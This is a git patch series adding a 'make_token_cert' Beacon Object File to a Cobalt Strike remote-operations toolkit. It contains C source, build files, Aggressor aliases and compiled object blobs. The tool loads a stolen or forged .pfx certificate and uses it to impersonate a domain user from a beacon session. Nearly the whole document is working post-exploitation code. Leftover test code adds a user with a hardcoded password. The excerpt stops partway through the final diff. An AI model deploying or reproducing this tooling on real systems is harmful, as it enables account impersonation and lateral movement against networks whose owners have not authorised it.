From 165ccd9e9bd6e519bf71e22faac30761a63188e0 Mon Sep 17 00:00:00 2001 From: "christopher.paschen" Date: Tue, 3 Sep 2024 11:05:03 -0500 Subject: [PATCH 1/3] add make_token_cert --- Remote/Remote.cna | 29 ++++ src/Remote/make_token_cert/Makefile | 25 ++++ src/Remote/make_token_cert/entry.c | 202 ++++++++++++++++++++++++++++ src/common/bofdefs.h | 24 ++++ 4 files changed, 280 insertions(+) create mode 100644 src/Remote/make_token_cert/Makefile create mode 100644 src/Remote/make_token_cert/entry.c diff --git a/Remote/Remote.cna b/Remote/Remote.cna index 10ea99f..66a9ea0 100644 --- a/Remote/Remote.cna +++ b/Remote/Remote.cna @@ -1939,3 +1939,32 @@ beacon_command_register( Usage: slack_cookie " ); + +sub bschtaskscreate +{ + local('$server $taskpath $taskxml $dialog $fpath $fp $bid $fdata $mode $index $force $args'); + $bid = $1; + $server = ""; + $fp = $null; + $taskpath = $2; + $mode = 1; + $force = 1; + $fpath = $3; + if(!-canread $fpath) + { + berror($bid, "Unable to read the xml task definition file: $fpath"); + return; + } + $fp = openf($fpath); + $fdata = readb($fp, -1); + closef($fp); + + $args = bof_pack($bid, "ZZZii", $server, $taskpath, $fdata, $mode, $force); + beacon_inline_execute($bid, readbof($bid, "schtaskscreate"), "go", $args); +} + +alias make_token_cert +{ + $args = bof_pack($1, "z", $2); + beacon_inline_execute($1, readbof($1, "make_token_cert"), "go", $args); +} \ No newline at end of file diff --git a/src/Remote/make_token_cert/Makefile b/src/Remote/make_token_cert/Makefile new file mode 100644 index 0000000..b96d426 --- /dev/null +++ b/src/Remote/make_token_cert/Makefile @@ -0,0 +1,25 @@ +BOFNAME := make_token_cert +COMINCLUDE := -I ../../common +LIBINCLUDE := -lnetapi32 +CC_x64 := x86_64-w64-mingw32-gcc +CC_x86 := i686-w64-mingw32-gcc +CC := x86_64-w64-mingw32-clang + +all: + $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF + $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF + mkdir -p ../../../Remote/$(BOFNAME) + mv $(BOFNAME)*.o ../../../Remote/$(BOFNAME) + +test: + $(CC_x64) entry.c $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe + $(CC_x86) entry.c $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe + +scanbuild: + $(CC) entry.c $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).scanbuild.exe + +check: + cppcheck --enable=all --suppress=missingIncludeSystem --suppress=unusedFunction $(COMINCLUDE) --platform=win64 entry.c + +clean: + rm $(BOFNAME).*.exe \ No newline at end of file diff --git a/src/Remote/make_token_cert/entry.c b/src/Remote/make_token_cert/entry.c new file mode 100644 index 0000000..71892ad --- /dev/null +++ b/src/Remote/make_token_cert/entry.c @@ -0,0 +1,202 @@ +#include +#include +#include +#include "beacon.h" +#include "bofdefs.h" +#include +#include "base.c" + + +// void hex_to_bytes(const char *hex_str, unsigned char *byte_array, size_t *len) { +// size_t hex_len = MSVCRT$strlen(hex_str); +// if (hex_len % 2 != 0) { +// // Hex string length must be even +// *len = 0; +// return; +// } + +// *len = hex_len / 2; + +// for (size_t i = 0; i < *len; i++) { +// MSVCRT$sscanf(hex_str + 2 * i, "%2x", &(byte_array[i])); +// } +// } +//thumbprint is assumed to have at least 20 bytes of space +HCERTSTORE LoadCert(unsigned char * cert, const wchar_t * password, DWORD certlen, DWORD passlen, PCCERT_CONTEXT * pcert) +{ + CRYPT_DATA_BLOB pfxData; + pfxData.cbData = certlen; + pfxData.pbData = cert; + *pcert = NULL; + PCCERT_CONTEXT pnewcert; + HCERTSTORE hCertStore = CRYPT32$CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, 0, CERT_SYSTEM_STORE_CURRENT_USER, L"MY"); + if (!hCertStore) { + internal_printf("Failed to open the certificate store. Error: %lu\n", KERNEL32$GetLastError()); + return NULL; + } + + HCERTSTORE store = CRYPT32$PFXImportCertStore(&pfxData, password, CRYPT_USER_KEYSET); + *pcert = CRYPT32$CertEnumCertificatesInStore(store, NULL); + CRYPT32$CertAddCertificateContextToStore(hCertStore, *pcert, CERT_STORE_ADD_NEW, &pnewcert); + CRYPT32$CertDeleteCertificateFromStore(*pcert); + CRYPT32$CertCloseStore(store, 0); + *pcert = pnewcert; + return hCertStore; +} + +//thumbprint is assumed to be >= 20 bytes +void ImpersonateUser(PCCERT_CONTEXT pCertContext) +{ + DWORD hashSize = 20; + CERT_CREDENTIAL_INFO ci; + ci.cbSize = sizeof(CERT_CREDENTIAL_INFO); + LPWSTR creds; + if(!CRYPT32$CertGetCertificateContextProperty(pCertContext, CERT_HASH_PROP_ID, ci.rgbHashOfCert, &hashSize)) + { + BeaconPrintf(CALLBACK_ERROR, "Failed to get Thumbprint: %d", KERNEL32$GetLastError()); + return; + } + internal_printf("Cert Thumbprint: "); + for (DWORD i = 0; i < hashSize; i++) { + internal_printf("%02X", ci.rgbHashOfCert[i]); + } + internal_printf("\n"); + if(!ADVAPI32$CredMarshalCredentialW(1, &ci, &creds)) + { + BeaconPrintf(CALLBACK_ERROR, "Failed to marshal creds: %d", KERNEL32$GetLastError()); + return; + } + BeaconPrintf(CALLBACK_OUTPUT, "success"); + HANDLE hToken = NULL; + if(!ADVAPI32$LogonUserW(creds, NULL, NULL, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken)) + { + BeaconPrintf(CALLBACK_ERROR, "Failed to Logon: %d", KERNEL32$GetLastError()); + return; + } + if(!ADVAPI32$ImpersonateLoggedOnUser(hToken)) + { + BeaconPrintf(CALLBACK_ERROR, "Failed to impersonate: %d", KERNEL32$GetLastError()); + return; + } + +} + +#ifdef BOF +VOID go( + IN PCHAR Buffer, + IN ULONG Length +) +{ + DWORD dwErrorCode = ERROR_SUCCESS; + datap parser; + DWORD len, passlen; + BeaconDataParse(&parser, Buffer, Length); + unsigned char * cert = (unsigned char *)BeaconDataExtract(&parser, (int *)&len); // $2 + LPWSTR password = (LPWSTR)BeaconDataExtract(&parser, (int *)&passlen); + if(!bofstart()) + { + return; + } + internal_printf("Loading Cert into temp store\n"); + PCCERT_CONTEXT pcert = NULL; + HCERTSTORE store = LoadCert(cert, password, len, passlen, &pcert); + if(pcert != NULL) + { + ImpersonateUser(pcert); + internal_printf("success\n"); + CRYPT32$CertDeleteCertificateFromStore(pcert); + CRYPT32$CertCloseStore(store, 0); + } + else + { + internal_printf("failed\n"); + } + + +go_end: + printoutput(TRUE); + + bofstop(); +}; + +// VOID go( +// IN PCHAR Buffer, +// IN ULONG Length +// ) +// { +// DWORD dwErrorCode = ERROR_SUCCESS; +// datap parser; +// size_t len; +// BeaconDataParse(&parser, Buffer, Length); +// LPSTR certHash = BeaconDataExtract(&parser, (int *)&len); // $2 +// CERT_CREDENTIAL_INFO ci; +// ci.cbSize = sizeof(CERT_CREDENTIAL_INFO); +// len--; //delete null +// BeaconPrintf(CALLBACK_OUTPUT, "Converting %s : %d to bytes\n", certHash,len); + +// if(len > 40) +// { +// BeaconPrintf(CALLBACK_ERROR, "Hash isn't the right length\n"); +// return; +// } +// hex_to_bytes(certHash, ci.rgbHashOfCert, &len); //Could blow up if a string isn't right, just for testing here +// // for(int i = 0; i < len; i++) +// // { +// // BeaconPrintf(CALLBACK_OUTPUT, "%2X", ci.rgbHashOfCert[i]); +// // } +// BeaconPrintf(CALLBACK_OUTPUT, "converted %x : %d", ci.rgbHashOfCert, len); +// LPWSTR creds = NULL; +// if(!ADVAPI32$CredMarshalCredentialW(1, &ci, &creds)) +// { +// BeaconPrintf(CALLBACK_ERROR, "Failed to marshal creds: %d", KERNEL32$GetLastError()); +// return; +// } +// BeaconPrintf(CALLBACK_OUTPUT, "success"); +// HANDLE hToken = NULL; +// if(!ADVAPI32$LogonUserW(creds, NULL, NULL, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken)) +// { +// BeaconPrintf(CALLBACK_ERROR, "Failed to Logon: %d", KERNEL32$GetLastError()); +// return; +// } +// if(!ADVAPI32$ImpersonateLoggedOnUser(hToken)) +// { +// BeaconPrintf(CALLBACK_ERROR, "Failed to impersonate: %d", KERNEL32$GetLastError()); +// return; +// } +// // if(!bofstart()) +// // { +// // return; +// // } + +// go_end: +// // printoutput(TRUE); + +// // bofstop(); +// }; +#else +#define TEST_USERNAME L"Guest" +#define TEST_HOSTNAME NULL +#define TEST_PASSWORD L"Password123!" + +int main(int argc, char ** argv) +{ + DWORD dwErrorCode = ERROR_SUCCESS; + LPWSTR lpswzUserName = TEST_USERNAME; + LPWSTR lpswzPassword = TEST_PASSWORD; + LPWSTR lpswzServerName = TEST_HOSTNAME; + + internal_printf("Adding %S to %S\n", lpswzUserName, lpswzServerName ? lpswzServerName : L"the local machine" ); + + dwErrorCode = AddUser(lpswzUserName, lpswzPassword, lpswzServerName); + if ( ERROR_SUCCESS != dwErrorCode ) + { + BeaconPrintf(CALLBACK_ERROR, "Adding user failed: %lX\n", dwErrorCode); + goto main_end; + } + + internal_printf("SUCCESS.\n"); + +main_end: + return dwErrorCode; +} +#endif \ No newline at end of file diff --git a/src/common/bofdefs.h b/src/common/bofdefs.h index d7a2193..37f9073 100644 --- a/src/common/bofdefs.h +++ b/src/common/bofdefs.h @@ -9,6 +9,7 @@ #include #include #include +#include #include #include #include @@ -123,6 +124,7 @@ WINBASEAPI ULONG WINAPI IPHLPAPI$GetUdpTable (PMIB_UDPTABLE UdpTable, PULONG Siz WINBASEAPI ULONG WINAPI IPHLPAPI$GetTcpTable (PMIB_TCPTABLE TcpTable, PULONG SizePointer, WINBOOL Order); //MSVCRT +WINBASEAPI int __cdecl MSVCRT$sscanf(const char * __restrict__ _Src,const char * __restrict__ _Format,...); WINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements); WINBASEAPI void *__cdecl MSVCRT$realloc(void *_Memory, size_t _NewSize); WINBASEAPI void __cdecl MSVCRT$free(void *_Memory); @@ -155,6 +157,7 @@ WINBASEAPI wchar_t *__cdecl MSVCRT$wcsstr(const wchar_t *_Str,const wchar_t *_Su WINBASEAPI wchar_t *__cdecl MSVCRT$wcstok(wchar_t * __restrict__ _Str,const wchar_t * __restrict__ _Delim); WINBASEAPI unsigned long __cdecl MSVCRT$wcstoul(const wchar_t * __restrict__ _Str,wchar_t ** __restrict__ _EndPtr,int _Radix); WINBASEAPI long __cdecl MSVCRT$_wtol(const wchar_t * str); +_CRTIMP __time64_t __cdecl MSVCRT$_time64(__time64_t *_Time); //SHLWAPI WINBASEAPI LPWSTR WINAPI SHLWAPI$PathCombineW(LPWSTR pszDest,LPCWSTR pszDir,LPCWSTR pszFile); @@ -171,12 +174,23 @@ WINBASEAPI VOID WINAPI DNSAPI$DnsFree(PVOID pData,DNS_FREE_TYPE FreeType); //WSOCK32 WINBASEAPI unsigned long WINAPI WSOCK32$inet_addr(const char *cp); + + //WS2_32 WINBASEAPI u_long WINAPI WS2_32$htonl(u_long hostlong); WINBASEAPI u_short WINAPI WS2_32$htons(u_short hostshort); WINBASEAPI char * WINAPI WS2_32$inet_ntoa(struct in_addr in); WINBASEAPI LPCWSTR WINAPI WS2_32$InetNtopW(INT Family, LPCVOID pAddr, LPWSTR pStringBuf, size_t StringBufSIze); WINBASEAPI INT WINAPI WS2_32$inet_pton(INT Family, LPCSTR pStringBuf, PVOID pAddr); +WINBASEAPI int WINAPI WS2_32$WSAStartup(WORD wVersionRequested,LPWSADATA lpWSAData); +WINBASEAPI int WINAPI WS2_32$WSAGetLastError(void); +WINBASEAPI int WINAPI WS2_32$socket(int af,int type,int protocol); +WINBASEAPI int WINAPI WS2_32$setsockopt(SOCKET s,int level,int optname,const char *optval,int optlen); +WINBASEAPI int WINAPI WS2_32$sendto(SOCKET s,const char *buf,int len,int flags,const struct sockaddr *to,int tolen); +WINBASEAPI int WINAPI WS2_32$recvfrom(SOCKET s,char *buf,int len,int flags,struct sockaddr *from,int *fromlen); +WINBASEAPI int WINAPI WS2_32$closesocket(SOCKET s); +WINBASEAPI int WINAPI WS2_32$WSACleanup(void); +WINBASEAPI int WINAPI WS2_32$ntohs(u_short netshort); //NETAPI32 WINBASEAPI DWORD WINAPI NETAPI32$DsGetDcNameA(LPCSTR ComputerName,LPCSTR DomainName,GUID *DomainGuid,LPCSTR SiteName,ULONG Flags,PDOMAIN_CONTROLLER_INFOA *DomainControllerInfo); @@ -271,6 +285,7 @@ HRESULT WINAPI FLTLIB$FilterUnload(LPCWSTR lpFilterName); //ADVAPI32 WINADVAPI WINBOOL WINAPI ADVAPI32$GetUserNameA (LPSTR lpBuffer, LPDWORD pcbBuffer); +WINADVAPI WINBOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser (HANDLE hToken); WINADVAPI WINBOOL WINAPI ADVAPI32$LogonUserA (LPCSTR lpszUsername, LPCSTR lpszDomain, LPCSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken); WINADVAPI WINBOOL WINAPI ADVAPI32$LogonUserW (LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken); WINADVAPI WINBOOL WINAPI ADVAPI32$DuplicateTokenEx (HANDLE hExistingToken, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, PHANDLE phNewToken); @@ -290,6 +305,8 @@ WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeValueA (LPCSTR lpSystemName, LP WINADVAPI WINBOOL WINAPI ADVAPI32$GetFileSecurityW (LPCWSTR lpFileName, SECURITY_INFORMATION RequestedInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD nLength, LPDWORD lpnLengthNeeded); WINADVAPI VOID WINAPI ADVAPI32$MapGenericMask (PDWORD AccessMask, PGENERIC_MAPPING GenericMapping); WINADVAPI ULONG WINAPI ADVAPI32$LsaNtStatusToWinError(NTSTATUS); +WINADVAPI WINBOOL WINAPI ADVAPI32$CredMarshalCredentialW(CRED_MARSHAL_TYPE CredType,PVOID Credential,LPWSTR *MarshaledCredential); +WINADVAPI VOID WINAPI ADVAPI32$CredFree (PVOID Buffer); WINADVAPI WINBOOL WINAPI ADVAPI32$InitializeSecurityDescriptor (PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision); WINADVAPI WINBOOL WINAPI ADVAPI32$SetSecurityDescriptorDacl (PSECURITY_DESCRIPTOR pSecurityDescriptor, WINBOOL bDaclPresent, PACL pDacl, WINBOOL bDaclDefaulted); WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW(PSECURITY_DESCRIPTOR SecurityDescriptor,DWORD RequestedStringSDRevision,SECURITY_INFORMATION SecurityInformation,LPWSTR *StringSecurityDescriptor,PULONG StringSecurityDescriptorLen); @@ -359,6 +376,13 @@ WINBASEAPI WINBOOL WINAPI CRYPT32$CertFreeCertificateContext (PCCERT_CONTEXT pCe WINBASEAPI BOOL WINAPI CRYPT32$CryptUnprotectData(DATA_BLOB *, LPWSTR *, DATA_BLOB *, PVOID, CRYPTPROTECT_PROMPTSTRUCT *, DWORD, DATA_BLOB *); WINIMPM WINBOOL WINAPI CRYPT32$CryptEncodeObjectEx (DWORD dwCertEncodingType, LPCSTR lpszStructType, const void *pvStructInfo, DWORD dwFlags, PCRYPT_ENCODE_PARA pEncodePara, void *pvEncoded, DWORD *pcbEncoded); WINIMPM WINBOOL WINAPI CRYPT32$CryptBinaryToStringW (CONST BYTE *pbBinary, DWORD cbBinary, DWORD dwFlags, LPWSTR pszString, DWORD *pcchString); +WINIMPM HCERTSTORE WINAPI CRYPT32$PFXImportCertStore (CRYPT_DATA_BLOB *pPFX, LPCWSTR szPassword, DWORD dwFlags); +WINIMPM PCCERT_CONTEXT WINAPI CRYPT32$CertEnumCertificatesInStore (HCERTSTORE hCertStore, PCCERT_CONTEXT pPrevCertContext); +WINIMPM WINBOOL WINAPI CRYPT32$CertGetCertificateContextProperty (PCCERT_CONTEXT pCertContext, DWORD dwPropId, void *pvData, DWORD *pcbData); +WINIMPM WINBOOL WINAPI CRYPT32$CertAddCertificateContextToStore (HCERTSTORE hCertStore, PCCERT_CONTEXT pCertContext, DWORD dwAddDisposition, PCCERT_CONTEXT *ppStoreContext); +WINIMPM HCERTSTORE WINAPI CRYPT32$CertOpenStore (LPCSTR lpszStoreProvider, DWORD dwEncodingType, HCRYPTPROV_LEGACY hCryptProv, DWORD dwFlags, const void *pvPara); +WINIMPM WINBOOL WINAPI CRYPT32$CertCloseStore (HCERTSTORE hCertStore, DWORD dwFlags); +WINIMPM WINBOOL WINAPI CRYPT32$CertDeleteCertificateFromStore (PCCERT_CONTEXT pCertContext); //DNSAPI WINBASEAPI VOID WINAPI DNSAPI$DnsFree(PVOID pData,DNS_FREE_TYPE FreeType); From ca77c2fe1deaf59402fac4cb69f0eccfda3835b9 Mon Sep 17 00:00:00 2001 From: "christopher.paschen" Date: Thu, 5 Sep 2024 15:56:48 -0500 Subject: [PATCH 2/3] allow cert overwrite --- src/Remote/make_token_cert/entry.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/Remote/make_token_cert/entry.c b/src/Remote/make_token_cert/entry.c index 71892ad..bbc2a49 100644 --- a/src/Remote/make_token_cert/entry.c +++ b/src/Remote/make_token_cert/entry.c @@ -37,7 +37,7 @@ HCERTSTORE LoadCert(unsigned char * cert, const wchar_t * password, DWORD certle HCERTSTORE store = CRYPT32$PFXImportCertStore(&pfxData, password, CRYPT_USER_KEYSET); *pcert = CRYPT32$CertEnumCertificatesInStore(store, NULL); - CRYPT32$CertAddCertificateContextToStore(hCertStore, *pcert, CERT_STORE_ADD_NEW, &pnewcert); + CRYPT32$CertAddCertificateContextToStore(hCertStore, *pcert, CERT_STORE_ADD_ALWAYS, &pnewcert); CRYPT32$CertDeleteCertificateFromStore(*pcert); CRYPT32$CertCloseStore(store, 0); *pcert = pnewcert; From 14919631a4969696c520418f26358332d40ebd06 Mon Sep 17 00:00:00 2001 From: "christopher.paschen" Date: Mon, 18 Nov 2024 10:56:41 -0600 Subject: [PATCH 3/3] Release of previously internal make_token_cert --- README.md | 1 + Remote/Remote.cna | 32 +++++++++++++++++-- Remote/make_token_cert/make_token_cert.x64.o | Bin 0 -> 5068 bytes Remote/make_token_cert/make_token_cert.x86.o | Bin 0 -> 5177 bytes src/Remote/make_token_cert/Makefile | 4 +-- src/Remote/make_token_cert/entry.c | 13 ++++++-- 6 files changed, 44 insertions(+), 6 deletions(-) create mode 100644 Remote/make_token_cert/make_token_cert.x64.o create mode 100644 Remote/make_token_cert/make_token_cert.x86.o diff --git a/README.md b/README.md index 109b4b3..e76de18 100644 --- a/README.md +++ b/README.md @@ -22,6 +22,7 @@ You are welcome to use these, but issues opened related to these will be closed |enableuser| Enable and unlock the specified user account| |get_priv| Activate the specified token privledge, more for non-cobalt strike users| |lastpass | Search Chrome, brave memory for LastPass passwords and data| +|make_token_cert| impersonates a user using the altname of a .pfx file | |office_tokens| Collect Office JWT Tokens from any Office process| |procdump| Dump the specified process to the specified output file| |ProcessDestroy| Close handle(s) in a process| diff --git a/Remote/Remote.cna b/Remote/Remote.cna index 66a9ea0..2fb6604 100644 --- a/Remote/Remote.cna +++ b/Remote/Remote.cna @@ -1965,6 +1965,34 @@ sub bschtaskscreate alias make_token_cert { - $args = bof_pack($1, "z", $2); + local('$handle $certpath $cert $password $args'); + if(size(@_) < 2) + { + berror($1, "usage: make_token_cert <.pfx local path> [opt: .pfx password]"); + return; + } + $certpath = $2; + $password = iff($3, $3, ""); + if(!-canread $certpath) + { + berror($1, "Unable to read $certpath on local system"); + return; + } + $handle = openf($certpath); + $cert = readb($handle, -1); + closef($handle); + + $args = bof_pack($1, "bZ", $cert, $password); beacon_inline_execute($1, readbof($1, "make_token_cert"), "go", $args); -} \ No newline at end of file +} + +beacon_command_register( + "make_token_cert", + "Applies an impersonation token based on the Alt Name in a supplied .pfx file", + "Command: make_token_cert + +Usage make_token_cert [opt: password] + +Takes the path to a .pfx and optionally the password to decrypt the .pfx. +Reads it into the certificate store for the current user and creates an impersonation token with it. +Then deletes it from the users certificate store."); \ No newline at end of file diff --git a/Remote/make_token_cert/make_token_cert.x64.o b/Remote/make_token_cert/make_token_cert.x64.o new file mode 100644 index 0000000000000000000000000000000000000000..a57a853a839ecf72be97ff62cd89734c07d50eb5 GIT binary patch literal 5068 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 L;bZtx#!U8KTFk8< literal 0 HcmV?d00001 diff --git a/src/Remote/make_token_cert/Makefile b/src/Remote/make_token_cert/Makefile index b96d426..a54537d 100644 --- a/src/Remote/make_token_cert/Makefile +++ b/src/Remote/make_token_cert/Makefile @@ -6,8 +6,8 @@ CC_x86 := i686-w64-mingw32-gcc CC := x86_64-w64-mingw32-clang all: - $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF - $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF + $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF -DCOBALTSTRIKE + $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF -DCOBALTSTRIKE mkdir -p ../../../Remote/$(BOFNAME) mv $(BOFNAME)*.o ../../../Remote/$(BOFNAME) diff --git a/src/Remote/make_token_cert/entry.c b/src/Remote/make_token_cert/entry.c index bbc2a49..ae8e198 100644 --- a/src/Remote/make_token_cert/entry.c +++ b/src/Remote/make_token_cert/entry.c @@ -35,7 +35,12 @@ HCERTSTORE LoadCert(unsigned char * cert, const wchar_t * password, DWORD certle return NULL; } - HCERTSTORE store = CRYPT32$PFXImportCertStore(&pfxData, password, CRYPT_USER_KEYSET); + HCERTSTORE store = CRYPT32$PFXImportCertStore(&pfxData, NULL, CRYPT_USER_KEYSET); + if(store == NULL) + { + internal_printf("Failed to improt cert, make sure its in the right format: %x\n", KERNEL32$GetLastError()); + return NULL; + } *pcert = CRYPT32$CertEnumCertificatesInStore(store, NULL); CRYPT32$CertAddCertificateContextToStore(hCertStore, *pcert, CERT_STORE_ADD_ALWAYS, &pnewcert); CRYPT32$CertDeleteCertificateFromStore(*pcert); @@ -66,18 +71,22 @@ void ImpersonateUser(PCCERT_CONTEXT pCertContext) BeaconPrintf(CALLBACK_ERROR, "Failed to marshal creds: %d", KERNEL32$GetLastError()); return; } - BeaconPrintf(CALLBACK_OUTPUT, "success"); HANDLE hToken = NULL; 